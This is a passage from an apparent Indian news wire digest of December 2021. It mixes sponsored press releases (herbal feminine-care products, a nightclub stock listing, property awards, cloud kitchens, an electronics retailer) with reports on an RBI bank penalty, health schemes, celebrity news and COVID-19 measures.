everyone to start working on what is important for them right now. COVID-19 will most likely fuel the shift to the freelance economy further." This story is provided by ATK. ANI will not be responsible in any way for the content of this article. (ANI/ATK) New Delhi [India], December 15 (ANI/ATK): Leading news platform, The Dailly Chronicle has recently marked Namyaa Life Science as the top brand in the feminine intimate care market. The made in India brand is a newly launched health and wellness wing by Namyaa Skincare, a pioneer in the field of female hygiene and intimate care in India. Namyaa makes premium quality and herbal products ranging from intimate care and hygiene washes, menstrual cups to skincare and personal care. The brand has recently launched its new product range, purely dedicated to deriving herbal solutions to hormonal conditions such as PCOS, PCOD, white discharge, delayed and irregular periods. Additional products are expected to be added to the range as more research and development is underway. Speaking about their new product range, founder Karan Gupta says, "Namyaa is reinventing the herbal feminine skin and hygiene care range with their 10 years of experience in the industry. We are trying to keep our focus on female hygiene under the brand Namyaa as we believe that it is not sufficiently discussed in India. By trying to focus on such issues, we are solving real problems with our products. We believe that our attitude as changemakers of not only the industry but the country that will drive customer's attention to our brand". The indigenously inspired and accepted brand has onboarded Anita Hassanandani, a well-celebrated female actress known for her notable works in films and daily soaps, as the Key Opinion Leader for their newly launched Personal Care Kit. These new products are formulated for menstrual-related problems, namely PCOD and PCOS. With the signing of Anita Hassanandani as the Key Opinion Leader for their newly launched Women Wellness Products range under Namyaa Lifesciences, Karan Gupta, Founder & Director, Namyaa was overwhelmed with gratitude. He was pleased to endorse a personality who is capable of becoming a role model for the youth, and can use her own widespread knowledge of healthcare to guide the youth. Namyaa has launched two products for menstrual aid, namely 'Aarthava Kshaya' for PCOD and 'Namyaa Anartava' for delayed and irregular periods. 'Aarthava Kshaya' is formulated with a blend of herbs and certified Ayurvedic ingredients which help in the restoration of hormonal imbalances and doshas, helping in purifying blood and enhancing immunity. From organic skincare, intimate hygiene to personal care products, Namyaa solves the complex problems of modern women. Being a leading healthcare brand, Namyaa aims at promoting women's health in the most rural areas of the country through their effective and superior-quality products. This story is provided by ATK. ANI will not be responsible in any way for the content of this article. (ANI/ATK) New Delhi [India], December 15 (ANI/ATK): eSHRAM portal has been developed by Ministry of Labour & Employment, for creating a National Database of Unorganized Workers (NDUW), which will be seeded with Aadhaar. It will have details of name, occupation, address, educational qualification, skill types and family details etc. for optimum realization of their employability and extend the benefits of the social security schemes to them. It is the first-ever national database of unorganised workers including migrant workers, construction workers, gig and platform workers, etc. Laisom Santosh Singh, from Keishamthong, Manipur has organized the eSHram free registration desk for the people of his constituency. He has also started door-to-door campaign for creating awareness among the people for the registration on Eshram portal. Laisom Santosh Singh said, "it has been done by the central government to improve the implementation efficiency of the social security services for the unorganized workers, Integration of Social Security Schemes meant for UWs being administered by MoLE and subsequently those run by other ministries as well." The government launched the e-shram portal on August 26, 2021. The portal allows a person to register himself or herself on self declaration basis. "As per the e-shram portal, the number of gig workers registered in the country as on December 2, 2021 is 7,29,447," Union Labour Minister BhupenderYadav said in a written reply to the RajyaSabha. Laisom Santosh Singh said," Central Government has given social security as well as honour to Unorganized Sector Workers. This scheme will benefit the Shram Yogis when they get old and they may have no means of livelihood and will get a 'Maandhan' (Pension) of Rs. 3,000 per month throughout their life. Government is sincerely working for welfare of poor sections of society and poverty alleviation and social security schemes are being implemented in mission mode with regular monitoring by PM himself with an emphasis to finish the work in time bound manner. He further said that the Government under leadership of the Prime Minister is working for all sections of society especially for the poor. Laisom Santosh Singh, is popularly known as "Bony" in his constituency. He comes from a political family background. This story is provided by ATK. ANI will not be responsible in any way for the content of this article. (ANI/ATK) Mumbai (Maharashtra) [India], December 15 (ANI/BusinessWire India): After mobilising more than 1 Billion USD investments and businesses spread across 3 continents, CKP Leisure Ltd. under the leadership of Insightful and ingenious investor Chanakya Dhanda with his team gets the majestic night club Sirkus listed at the NSE (National Stock Exchange). Having transformed a strenuous model of running a nightclub to a very efficient business model to generate much higher ROI's than usual with lesser burnout, CKP Leisure Ltd. has created classic textbook sure-shot exit model case studies for everyone. Sirkus is India's first & only nightclub across the Indian sub-continent to be listed on the National Stock Exchange. Says Managing Director CKP Leisure Ltd. Chanakya, "Challenges were faced due to this business's highly merciless in-built nuances business line with a limited shelf life and tenure, but my sharp and proficient team has mastered the art of a highly profitable "Exit Business Model". Though Exit is always an option but it may take away a lot and erode a lot of goods during the process of exiting such ventures. It can have a serious hit on issues like brand value, imagery, and quality, so it needs a very special skill to make a successful and very profitable exit from the business while you are executing the process of taking it public listing." CKP Leisure's Sirkus has not just become an eye-opening model case study for everyone in this category but through this business model is also helping other companies to take their ventures public across multiple verticals. Sirkus is also motivating other start-ups and entrepreneurs to be an expert in understanding the capital markets with our huge experience in the investment banking sector. CKP Leisure Ltd. operates all its ventures including its night club Sirkus like any corporate business instead of managing it like a typical traditional hospitality business. In a short span, CKP Leisure's super-specialised financial markets team has already taken the valuation of Sirkus over 4 million dollars for a single standalone club. Now, this is a seriously unprecedented phenomenon in its category. CKP Leisure Ltd. has brilliantly demonstrated even the seemingly impossible phenomena of getting a Night Club to be listed on NSE first time ever and it happened through a perfect combination of perfect expertise of a highly competent team, ingenious strategy, out of the box inventiveness, divergent thinking backed by detailed planning, resourcefulness and networking advantage. It seems the actual trade secret CKP Leisure Ltd.'s success story seems to be hidden in its inherent advantages and is all set to create one of the smartest successful globally Indian conglomerates. This story is provided by BusinessWire India. ANI will not be responsible in any way for the content of this article. (ANI/BusinessWire India) New Delhi [India], December 15 (ANI/NewsVoir): The organisers of PropertyGuru Asia Property Awards have announced the winners of the 2021 PropertyGuru Asia Property Awards (India) in an innovative, interactive virtual gala celebration. The second edition of India's leading real estate awards programme honoured fast-growing luxury property development company Sunteck Realty Ltd. with the title of Best Developer (Mumbai). The independent panel of judges said, "Crafting aspirational, premium, and ultra-luxury residential brands, plus world-class commercial developments, Sunteck Realty is one of Mumbai's leading developers. Projects elevate fast-evolving areas of the city with signature residences and iconic design concepts to create properties that stand out architecturally and in terms of quality lifestyle experience." The company's SunteckWorld development also gained the awards of Best Condo Development (Mumbai) and Best Landscape Architectural Design. Hari V. Krishnan, Chief Executive Officer of PropertyGuru Group, said, "We are proud to shine the spotlight on the developers and projects setting the Gold Standard of real estate in India for the second year running. To the developers transforming Mumbai and the other dynamic urban markets of the nation, we applaud you in this moment of triumph. Congratulations to the winners of the 2021 PropertyGuru Asia Property Awards (India)." Jules Kay, Managing Director of PropertyGuru Asia Property Awards and Events, said, "We particularly look forward to welcoming more developers from India next year. Our new market categories in 2021 cover a broad range of developer, development and design awards, highlighting the diversity and quality of real estate on offer to investors in this vibrant, fast-growing region." The 2021 PropertyGuru Asia Property Awards (India) programme was celebrated as an innovative virtual gala event that aired on AsiaPropertyAwards.com and the official live channels on Facebook, YouTube, and LinkedIn. Highlights of the show will air on the History Channel. The list of winners of the PropertyGuru Asia Property Awards (India) was selected by an independent panel of judges consisting of Amit Khanna, Awards Chairperson and Managing Director, Phoenix Advisers; Ajai A Kapoor, CEO, 360 degrees - Real Estate Services; Avinash Khater, Founder and Chairman of The Real Estate Kings (TREK); Jitender Girdhar FRICS, FAIQS, Co-founder & Director at Qonqests Technical Solutions and VDC Technologies; Madhav Raman, Co-founder, Anagram Architects; Mallika Desai Thakker, Co-founder & Creative Head at Vibe Design Lab; and Shradha Mithal, Managing Director, Resettle Destination Services. HLB is the official supervisor of the PropertyGuru Asia Property Awards. In India, the awards were supervised by Paul Ashburn, Co-Managing Partner at HLB Thailand and ASPAC Leader at HLB Real Estate Group. Organised by leading property technology company PropertyGuru Group, the 2nd Annual PropertyGuru Asia Property Awards (India) programme is supported by official cable TV partner History Channel; official magazine PropertyGuru Property Report; official PR partner FleishmanHillard India; official charity partner Right To Play; official ESG partner Baan Dek Foundation; supporting association Asia MarTech Society; and official supervisor HLB. For more information, email awards@propertyguru.com or please visit the official website: AsiaPropertyAwards.com. List of Winners 2021 PropertyGuru Asia Property Awards (India) Developer Awards Best Developer (Mumbai) Winner: Sunteck Realty Ltd. Development Awards Best Condo Development (Mumbai) Winner: SunteckWorld by Sunteck Realty Ltd. Design Awards Best Landscape Architectural Design Winner: SunteckWorld by Sunteck Realty Ltd. Note: Use of the PropertyGuru Asia Property Awards logo is limited to the publication of this article only. PropertyGuru's Asia Property Awards, established in 2005, are the region's most exclusive and prestigious real estate awards programme. The Asia Property Awards are recognised as the ultimate hallmark of excellence in the Asian property sector. Boasting an independent panel of industry experts and trusted supervisors, the Awards have an unparalleled reputation for being credible, ethical, fair and transparent. In 2021, the Awards series is open to 16 key property markets around the region. The exciting gala events are presented in a mix of virtual and physical formats, reaching senior industry leaders, agents, consumers and top media. Recognising excellence within each Asian market with a variety of categories, including green and sustainable development, each local awards programme will culminate in the PropertyGuru Asia Property Awards Grand Final, which takes place after the PropertyGuru Asia Real Estate Summit during 'PropertyGuru Week' in December 2021. For more information, please visit AsiaPropertyAwards.com. PropertyGuru Group is Southeast Asia's leading property technology company and the preferred destination for 37 million property seekers to find their dream home, every month. PropertyGuru and its group companies empower property seekers with more than 2.8 million real estate listings, in-depth insights, and solutions that enable them to make confident property decisions across Singapore, Malaysia, Thailand, Indonesia, and Vietnam. PropertyGuru.com.sg was launched in 2007 and has helped to drive the Singapore property market online and has made property search transparent for the property seeker. Over the decade, the Group has grown into a high-growth technology company with a robust portfolio of leading property portals across its core markets; award-winning mobile apps; a high-quality developer sales enablement platform, FastKey; mortgage marketplace PropertyGuru Finance; and a host of other property offerings including Awards, events and publications across Asia. For more information, please visit www.PropertyGuruGroup.com; www.linkedin.com/company/propertyguru. This story is provided by NewsVoir. ANI will not be responsible in any way for the content of this article. (ANI/NewsVoir) New Delhi [India], December 15 (ANI/ThePRTree): Ghost Kitchens has launched the Ghost Brands Fulfillment Partner program to help its brand grow. It will let small restaurant and cloud kitchen owners make the most of their underutilized real estate and labour. Ghost Kitchens began operations in May 2019 and now has a portfolio of 20 food delivery firms with a wide range of cuisines, price ranges, and demographics. Ghost Kitchens owns four kitchens in Mumbai and has fulfillment partners in Pune and Hyderabad. With over 50,000 orders per month, the company manages over 100 internet restaurants. Ghost Brands will be run on a revenue-sharing model. Supply chain management, aggregator commissions, support, training, and demand development will be handled by Ghost Kitchens, while Fulfilment Partners will only be responsible for the cost of goods sold. In addition, Ghost Kitchen has established a platform for online creators to launch their own meal delivery businesses. The initiative, which was the first in its category, allows celebrities and creators to earn extra money by leveraging their following base on social media sites. Menu engineering, vendor management, quality control, branded packaging, and business growth will all be handled by Ghost Kitchens. To develop demand for these brands, creators must create and market content. Ghost Kitchens intends to partner with 20 celebrities and build 1000+ Internet eateries in the next year using a new consumption model. According to Rana Dagubatti, a well-known Indian actor and producer, "Ghost brands have a decade of expertise scaling a variety of culinary businesses. They will provide significant profits for creators and establish food brands of the future with their knowledge and capability." Ghost Kitchens will be in charge of generating demand for fulfillment partners, while fulfillment partners will be in charge of producing demand for Ghost Kitchens. In Gujarat, the brand has fulfillment partners who have gone live with dessert brands like New York Waffles & Dinges, Miami Shakes & More, Wack Waffles & Brownies and Momo brands like Momoguy. Whereas in Delhi NCR, they have Fulfillment Partners who have gone live with Momoguy and Starboy Pizza & Shakes. The Head of Business Development at Ghost Kitchens India, Parth Gohel says, "We've got tremendous response from the Fulfillment Partner program in Mumbai & Pune. And they have got 2x to 3x more orders than what they were generating from their own brands, leading to incremental profits of INR 30,000-40,000 per month. We have inquired from more than 30 cities across India & we are looking to expand across 25 cities by March 2022 with more than 100 operational Fulfillment Partners and 400 + Internet restaurants." Restaurants in Baroda, Surat, and Ahmedabad have collaborated with Ghost Kitchens to assist them to outsource their kitchen sets. Through its Fulfillment Partner Program, Ghost Kitchens enters the Delhi-NCR market. They have also signed a fulfillment partner in Baddi in Himachal Pradesh, further penetrating into Tier-2 and Tier-3 cities. As of today, Ghost India Kitchen has partnered with a few more establishments across the country. They intend to expand to new locations and start the new Fulfillment Partner program in Hyderabad, Chennai, and Bangalore in the near future. Rana Dagubbati, a well-known actor and producer, has invested in Ghost Kitchens and will assist them in curating and launching the Creator licensing program. This story is provided by ThePRTree. ANI will not be responsible in any way for the content of this article. (ANI/ThePRTree) Kochi (Kerala) [India], December 15 (ANI/NewsVoir): South India's most trusted digital retail store, myG announces its 100th store, myG Future at Perinthalmanna, Kerala. By 2023, the brand will launch 50 more myG Future stores in the major cities of Kerala. While Mohanlal remains the face of myG, the brand ropes in Manju Warrier with an aim to reach out to more people belonging to all walks of life. myG is also gearing up to expand its wings across India and UAE. "We are very proud to launch our 100th store in Kerala, myG Future at Perinthalmanna on December 22. Kerala has been highly supportive and positive space for entrepreneurship. Being the most trusted and service-oriented electronics dealer in Kerala, we would like to explore the possibilities in God's Own Country, investing nearly 500 crores to provide next-level digital experience by opening more outlets across Kerala," says AK Shaji, Chairman & Managing Director of myG. The beginning of 2022 will see the launch of seven more myG Future stores in Kerala. The biggest dream of myG along with its expansion is to attract maximum employment. By the launch of 50 myG Future stores in Kerala, the brand will offer employment to 4000 more Keralites. Currently, it offers occupation to 2000 energetic people from Kerala. With an intention to provide the best consumer electronics and home appliances products to the households in Kerala at affordable cost, the leading gadget retail chain is gearing up to introduce its own product brands in different segments. myG envisions to offer the best quality products at reasonable price, supported by excellent service. It has a strong marketing and research team to innovate and improve product and services as a routine. Future plans of myG include expanding its coverage across India and establishing its fronts in the GCC countries. "To create a significant mark with big technological innovations and showroom connectivity, we are moving ahead. We will be expanding myG's network globally, with a vision to become one of the world's largest electronics retail networks," Shaji adds. To celebrate the expansion of myG and to mark its presence at every households in Kerala, the brand will have both Mohanlal and Manju Warrier as brand ambassadors henceforth. "Mohanlal plays a huge role in building the brand image of myG and he will continue to associate with myG in all our endeavours as our icon. We believe that women are not only big influencers but also decision-makers. Manju Warrier embodies the power of Malayali women and her drive for excellence and authenticity aligns with our values. Hence, we couldn't think of anybody other than her to reflect our ethos. We are honoured to associate with her," Shaji says. Started in 2006 as 3G mobile world, the one-stop destination for best gadgets and smartphones - myG - now is the leading gadget retail chain network in Kerala. With more than 7 million satisfied customers, myG caters to its consumers with a wide range of gadgets like smartphones, laptops, tablets and more. Apart from gadgets, myG Future offers the best home appliances including TV, Refrigerators, AC, Washing Machines, Kitchen Appliances and so on. The servicing quality is also top-class with 'myG Care', the hi-tech repair & service unit of myG, which has 100 service centers in Kerala, wherein an expert team of technicians offer expert service, quick turnaround and special care handling for the gadgets. The brand also offers many value-added services such as an Extended warranty, Gadget protection plan and myG Exchange offer. It also provides attractive EMI offers like 100% finance with 0% interest and zero down payment. myG also has a user-friendly online shopping platform - myg.in - which offers express delivery service. This story is provided by NewsVoir. ANI will not be responsible in any way for the content of this article. (ANI/NewsVoir) The Reserve Bank of India (RBI) on Wednesday imposed Rs.1.8 crore monetary penalty on Punjab National Bank (PNB) for 'deficiencies in regulatory compliance'. "The Reserve Bank of India (RBI) has, by an order dated December 15, 2021, imposed a monetary penalty of Rs.1.80 crore on Punjab National Bank (the bank) for contravention of sub-section (2) of section 19 of the Banking Regulation Act, 1949 (the Act), the RBI said in a statement. "This action is based on the deficiencies in regulatory compliance and is not intended to pronounce upon the validity of any transaction or agreement entered into by the bank with its customers," it added. The Statutory Inspection for Supervisory Evaluation (ISE) of Punjab National Bank was conducted by RBI with reference to its financial position as on March 31, 2019 and the examination of the Risk Assessment Report, the Annual Review of implementation of Exposure Management Measures for Financial Year 2019-20 carried out by RBI during July 2020 and all related correspondence pertaining to the same, revealed, inter-alia, contravention of sub-section (2) of section 19 of the Act to the extent the bank held shares in borrower companies, as pledgee, of an amount exceeding thirty per cent of paid-up share capital of those companies. In furtherance to the same, a notice was issued to the bank advising it to show cause as to why penalty should not be imposed on it for contravention of the aforesaid provisions of the Act, as stated therein. After considering the bank's reply to the notice, oral submissions made during the personal hearing, and additional submissions made by the bank, RBI came to the conclusion that the charge of contravention of the aforesaid provisions of the Act was substantiated and warranted imposition of monetary penalty on the bank, to the extent of contravention of the aforesaid provisions of the Act, the central bank said. (ANI) Union Minister of State for Finance Pankaj Chaudhary and Minister of State for New & Renewable Energy, Chemicals and Fertilizers, Bhagwanth Khuba jointly held the consultation through video conferencing. Finance Minister Nirmala Sitharaman was unable to attend the meeting due to her engagement in Parliament. Ramesh Chand, Member, Niti Aayog, Ajay Vir Jhakar, Chairman, Krushak Samaj, and other representatives from Agriculture and Agro-processing industry gave their valuable suggestions for the Union Budget 2022-23. Jakhar said the Government needs to design a robust pre-budget consultation process and system to have beneficiaries assess programmes to enable departments to tweak and reset their own programmes for more positive outcomes. He said the Green Revolution ensured India's food security in its most difficult decades. "It's now time for the central Government to fund a transition in green revolution states to ensure India's nutrition security. Do note, states are in no condition to share the cost of the transition." According to Jakhar, the government designs agri-policy, food policy, environment policy, health policy, etc. But now need Food Systems policy which considers the health of people and planet as one. "The Government lacks the capacity to design such policy. Need funds to build the capacity of Government and farmer organisations to lead change," he said. Finance Secretary & Secretary Expenditure T.V. Somanathan; Secretary, DEA, Ajay Seth; Secretary, Revenue, Tarun Bajaj and Secretary MCA Rajesh Verma, besides other senior officials, were also present in the meeting. (ANI) It also said that high capex from the government sector has also aided in the recovery process. "For the Indian economy, the recovery is spear-headed by an uptick in private investment through November-December alongside a turnaround in bank credit offtake and high capex from the government sector (Centre and States)," the bulletin said. "In conjunction, the employment situation has brightened. The outlook remains upbeat, though concerns revolving around the spread of the new Omicron variant are surfacing." The seven-day moving average of daily Covid-19 cases plummeted below 9,000 by the close of November. "After a blip during the festive season in the early part of November, the inoculation has gathered pace, with the seven-day moving average of vaccinations touching 80 lakh per day by end November and crossing the 1-crore mark for the sixth time on December 4, 2021." Furthermore, the RBI, in the bulletin, said that indicators of aggregate demand point to sustained recovery across spheres, but with signs of sequential moderation. "The end of the festive season reflected in moderation in growth momentum of petroleum consumption, led by decline in diesel even as petrol consumption remained above pre pandemic levels and aviation turbine fuel recorded a steady pick-up in November 2021." --IANS rv/vd ( 254 Words) 2021-12-15-21:18:46 (IANS) Taking to his Instagram handle, Big B shared a black and white snap with Vicky's father-action director Sham Kaushal whom he has worked with for several projects. In the picture, Big B and senior Kaushal could be seen shaking hands with each other at a film set. Sharing the snap, Big B wrote, "On set with Action Director Sham Kaushal, Vicky's father... been working with him for ages... a most humble endearing and loveable human...Vadhaiyaan vadhaiyaan vadhaiyaan." Vicky also responded to the sweet post by writing "Sir," with a string of red heart emoticons in the comments section. Bollywood stars Vicky Kaushal and Katrina Kaif on Tuesday made their first public appearance as husband and wife at the Mumbai airport. The newlyweds have returned to Mumbai after enjoying a romantic honeymoon, which reports suggest was in the Maldives. The duo had jetted off to the exotic island country after tying the knot on December 9. Fondly referred to by fans as VicKat, the couple had gotten married in an extremely private, intimate ceremony at the luxurious Six Senses Fort Barwara in Sawai Madhopur, Rajasthan. Over the past week, Katrina and Vicky have been treating fans with stunning pictures from their wedding. They recently flooded Instagram with glimpses of their pre-wedding photoshoot. The couple looked perfect in their matching Sabyasachi outfits. They will reportedly throw a wedding reception party for the film fraternity in the upcoming days and will resume work after concluding all wedding festivities. (ANI) Oscar winner Ben Affleck recently got candid about how feeling trapped in his marriage with ex-wife Jennifer Garner made him an alcohol addict. As per People magazine, during an appearance on the Howard Stern Show, Ben Affleck, who has been to rehab multiple times for alcohol addiction, told that feeling "trapped" in his marriage led him to drink and he would probably still be drinking "if he stayed married" to her with whom he shares three children-- Violet, 16, Seraphina, 12, and Samuel, 9. "I'd probably still be drinking. It's part of why I started drinking ... because I was trapped," Affleck said. "I was like 'I can't leave 'cause of my kids, but I'm not happy, what do I do?' What I did was drink a bottle of scotch and fall asleep on the couch, which turned out not to be the solution," he added. For the unversed, the 49-year-old actor has gone to rehab multiple times for alcohol addiction over the years, including in 2001, 2017 - which he revealed in a post on Facebook - and in 2018, when he and Garner finalized their divorce. Affleck and Garner married in 2005 and later parted their ways in 2015. The 'Last Duel' actor told that he and Garner did everything they could to keep their marriage together, it just didn't work out. "The truth was, we took our time, we made the decision ... We grew apart," Affleck explained. He added, "We had a marriage that didn't work, this happens, with somebody that I love and respect, but to whom I shouldn't be married any longer. Ultimately, we tried. We tried, we tried because we had kids. Both of us felt like we don't want this to be the model that our kids see of marriage." While the exes had ups and downs over the course of their marriage, but as per sources, the two are on good terms now. Affleck is now dating Jennifer Lopez. The two were engaged in 2002 but split in 2004. They co-starred in the films 'Jersey Girl' and 'Gigli' together. They postponed their 2003 wedding days before they were set to walk down the aisle, and then officially split by January 2004. The 'I'm Real' songstress ended her engagement with former MLB star Alex Rodriguez in April. Meanwhile, Ben split with girlfriend-actor Ana de Armas in January. Jennifer shares 13-year-old twins, Max and Emme, with ex-husband Marc Anthony. (ANI) A total of 14,15,49,620 health ID cards have been created under the Ayushman Bharat Digital Mission in the country as on December 3, Union Minister of State for Health, Bharati Pravin Pawar, said on Tuesday. Ayushman Bharat-Pradhan Mantri Jan Arogya Yojana is an entitlement-based scheme which doesn't need enrolment or registration of the beneficiary to avail benefits under the scheme. The beneficiary may directly visit the empanelled hospital to avail cashless treatment benefits, the minister informed the Rajya Sabha in a written reply. She said that all empanelled hospitals (public or private) have Pradhan Mantri Arogya Mitra, who facilitates the beneficiary with all the necessary steps required to avail the scheme benefits. "Ayushman Bharat Digital Mission (AB-DM) aims to create an online platform enabling interoperability of health data within the health ecosystem to create longitudinal electronic health record of every citizen, make healthcare accessible for citizens, including reducing the cost of care, and enable greater efficiencies in health service delivery," said Pawar in her written reply in the Rajya Sabha. Pawar informed the House that in total, Rs 56,118.07 lakh have been provided to the states and UTs under the National Programme for Prevention and Control of Cancer, Diabetes, Cardiovascular Diseases and Stroke (NPCDCS) during 2021-22. Under NPCDCS, 677 NCD clinics at the district level, 187 district cardiac care units, 266 district day care centres and 5392 NCD clinics at the community health centre level have been set up to ensure the treatment of common NCDs. A population-based initiative for prevention, control and screening for common non-communicable diseases like diabetes, hypertension and common cancers has been rolled out in the country as part of comprehensive primary health care. Under the initiative, persons above 30 years of age are targeted for screening for common NCDs, said Pawar. --IANS avr/arm ( 315 Words) 2021-12-14-22:16:12 (IANS) The Delhi High Court on Tuesday directed the Centre to ensure funds to cover the expenses towards the treatment of children suffering from rare diseases, saying the amount to be spent on such treatments and medicines can be adjusted from various funds, including the National Disability Fund. The bench of Justice Rekha Palli said the court is of the view that the process is to be started from major hospitals across the country, such as AIIMS. The court was hearing a batch of pleas pertaining to children suffering from rare diseases like Duchenne Muscular Dystrophy (DMD) and Hunter's syndrome, seeking direction to the Centre to provide them uninterrupted and free of cost treatment as the therapy is very expensive. Hunter syndrome is a rare, inherited disorder in which the body does not properly digest (break down) sugar molecules, while Duchenne Muscular Dystrophy (DMD) is also an inherited disorder of progressive muscular weakness. Senior advocate Siddharth Luthra, appearing on behalf of the petitioner, submitted that various public sector undertakings are contributing an amount of Rs 1,200 crore annually towards Corporate Social Responsibility (CSR). The court said that the Centre can impress these PSUs to utilise these funds to online crowdfunding portals created for the treatment of children with rare diseases. In September, the court had asked the Central government to take steps for transferring Rs 63 crore from the crowdfunding account lying with the Kerala High Court to that of the rare diseases account. Today, the court said that it will be open for the Centre to pursue the application before the Kerala High Court for transfer of this fund. Earlier on December 8, the court had pulled up the Centre for not utilising the funds collected to provide assistance for the treatment of children suffering from rare diseases, saying it will not permit these kids to "die despite funds being available". --IANS jw/arm ( 329 Words) 2021-12-14-22:36:33 (IANS) The Centre on Tuesday made it mandatory for international passengers arriving in India to pre-book RT-PCR test. The international passengers arriving at six major Indian airports would be required to pre-book their tests. "The 'Air Suvidha' portal would be modified to allow the passengers to pre-book their RT-PCR test if they are coming from the 'AT RISK' countries or have visited 'AT RISK' countries in the last 14 days," Ministry of Civil Aviation said in an office memorandum on Tuesday. "Link to the concerned airport website would be provided on the Air Suvidha platform, which would be displayed to the passengers while they fill up the self-declaration form (SDF)," it added. As per the memorandum, to stabilise the system and to ensure that the passengers do not face any problem in pre-booking, it may be implemented in six Metro cities, namely Delhi, Mumbai Kolkata, Chennai, Bengaluru and Hyderabad in the first phase. "Considering the convenience of the travellers, a lead time of a week would be provided, i.e., for the new system to come into effect on December 20," the statement said. "DGCA is requested to issue an advisory to all the airlines to check mandatory pre-booking of their passengers before they board the flight," he added. The memorandum also said that in case any passenger is having any difficulty in pre-booking, he/she may not be denied boarding, but it would be the responsibility of the airlines to identify and accompany such passengers to the registration counter at the airport for testing. --IANS rv/arm ( 270 Words) 2021-12-15-00:03:16 (IANS) The inaugural conference on public health in Africa (CPHIA 2021) began with leaders, policymakers, and scientists calling for enhanced response to the Covid-19 pandemic in light of new variants. President of Rwanda, Paul Kagame said that reimagining Africa's public health systems was urgent to boost the continent's response to the pandemic amid its heavy toll on the economy and livelihoods, Xinhua news agency reported. According to Kagame, the pandemic served as a wake-up call for the continent to invest in resilient health systems, boost local manufacturing of vaccines, drugs, and testing kits besides improving the skills of local healthcare personnel. The first-ever conference on public health in Africa to take place virtually from December 14 to 16 will provide a platform to share best practices on how to reinvigorate the war against the pandemic, he added. More than 10,000 participants, including Heads of state and governments, senior policymakers, scholars, advocates, and innovators will participate in the three-day conference convened by the African Union and Africa Centers for Disease Control and Prevention (Africa CDC). Issues to be discussed at the conference include creating a new public health order for the continent, collaborative research, and enhanced surveillance to boost response to future pandemics. Moussa Faki Mahamat, the Chairperson of the African Union Commission noted that the continent's economies, stability, and public health security had been shaken by the pandemic hence the need for a swift, well-coordinated response. "The pandemic has created the urgency to build a resilient public health order in Africa. We need equitable health systems, research, training, and collaboration to boost response to the pandemic," said Mahamat. The continent's ability to withstand the pandemic's shocks hinges on improving its capacity to produce diagnostics, vaccines, and therapeutics amid disruptions in the global supply chains, he added. John Nkengasong, the Director of Africa CDC, said the continent has drawn lessons from Covid-19 to strengthen home-grown interventions geared toward minimising strain on the public health systems. According to Nkengasong, Africa is currently better prepared to respond to future pandemics amid revamped surveillance infrastructure, training of local epidemiologists, and improved public awareness. --IANS int/khz/ ( 367 Words) 2021-12-15-01:12:12 (IANS) The "Visit Japan Web" service, slated to be launched next Monday, will exempt travelers from submitting CIQ paper documents if they register beforehand on smartphone and other devices, Xinhua news agency reported. The Japanese government pushed for digitalisation of the procedures in an attempt to help reduce the risk of infection and alleviate burden on officials at airport CIQ facilities which have been affected by a shortage of staff. Travelers need to register quarantine questionnaires and customs declarations containing their names, addresses, health conditions and other information through the app. Officials at border control will ask the travelers to show their smartphones or other devices to obtain information by scanning a QR code. The new app is expected to shorten the time of entry procedures. The app will initially be available in English and Japanese, and other languages may be added later. Japan has tightened its border control amid the spread of the Omicron variant of Covid-19, capping the number of daily arrival at 3,500. --IANS int/khz/ ( 210 Words) 2021-12-15-02:14:37 (IANS) The Dutch government has decided to extend the current anti-Covid measures until January 14, 2022, and speed up the country's booster vaccination campaign amid concerns about the Omicron variant. The government also announced that primary schools will have to close on December 20 or 21 at the latest, before the Christmas holiday on December 25. Primary schools will be allowed to reopen on January 10, 2022, Xinhua news agency reported. "This is a very difficult decision," Prime Minister Mark Rutte said at a press conference in the Hague. "But we couldn't ignore the signals about the emergence of the Omicron variant." "This variant is expected to take over the Delta variant in the coming weeks. There are still many uncertainties about contagiousness, the protection offered by current vaccines and the seriousness of Omicron," Rutte added. The current restrictive measures in effect since November 26 remain. Most locations and events have to close between 5 p.m. and 5 a.m. local time, while essential shops such as supermarkets and drug stores will remain open until 8 p.m. From December 7 to 14, the National Institute for Public Health and the Environment (RIVM) reported 116,477 positive Covid-19 test results. Compared to one week before, the number of positive tests decreased by 21 per cent. The Omicron variant had so far been found in a total of 105 people in the Netherlands, according to official data. There were 1,878 new hospital admissions of patients with Covid-19 last week, 10 per cent less than the week before. In addition, 332 new patients with Covid-19 were admitted to ICU, a decrease of four per cent compared to the previous week. "The number of Covid-19 infections is still very high and there are still many Covid patients in hospital," the Dutch Prime Minister said. "However, it seems that we have passed the peak of the Delta variant." "The effects of the measures and our joint efforts are therefore visible," he added. "But as long as hospitals are full and regular treatments and surgeries are postponed, we must continue to push back the virus." Meanwhile, Health Minister Hugo de Jonge announced that the country will speed up its booster vaccination campaign. "Every Dutch person above 18 years will be offered a booster in the second half of January 2022 at the latest," De Jonge said. "Until now, we vaccinate from old to young and we will continue to do so." "The booster is given after three months instead of six months after the last vaccination or previous Covid infection," the Minister added. --IANS int/khz/ ( 443 Words) 2021-12-15-02:48:59 (IANS) While after months of struggle the Covax programme -- the international vaccine scheme -- has started picking up pace, the fast spread of Omicron to about 77 countries is posing a threat to it. According to the World Health Organization, more than 80 per cent of the world's vaccines had gone to wealthy Group of 20 countries, as of late November, while low-income countries had received just 0.6 per cent of all doses. About 41 countries have still not been able to vaccinate 10 per cent of their populations, and 98 countries have not reached 40 per cent yet. The Covax facility launched in 2020 to help the most vulnerable populations in all countries to get vaccinated has struggled to meet its promises and left the poor countries scrambling for doses for months. So far, Covax has delivered 693 million vaccine doses, and expects to hit between 800 million and 1 billion by the end of the year. But even those figures, if reached, would be half of the original 2 billion target, the South China Morning Post reported. Covax was held back at first by the time it took to raise funds, before it could cut deals with the manufacturers, pushing it back in line, and then by delays as countries bought excess doses and waited to share them, Aurelia Nguyen, Managing Director of the Covax Facility, was quoted as saying by the report. Covax is a partnership between the WHO, the Coalition for Epidemic Preparedness Innovations (CEPI), and GAVI, the Vaccine Alliance. "Right now, we need to avoid a type of scenario which would be 'vaccine nationalism 2.0'," Nguyen said. She said as supply bottlenecks are easing with the relaxing of export controls, an influx of dose donations, and deliveries from manufacturers, the officials are concerned that the existing vaccines or their courses need to be revised due to the highly mutated Omicron variant. Nguyen said that it is essential to maintain "sustainable, regular supply" in the coming year, come what may. "From our perspective, what's most important is that as and when we see that there would be an Omicron-adapted vaccine, we are able to switch our supply onto the new vaccine very rapidly, at least as rapidly as other countries which have bilateral contracts with the manufacturers," she noted. Further, Covax's existing contracts with vaccine manufacturers granted access to variant-specific versions of most of the vaccines in their portfolio -- if they are needed. But it would be critical to prevent a 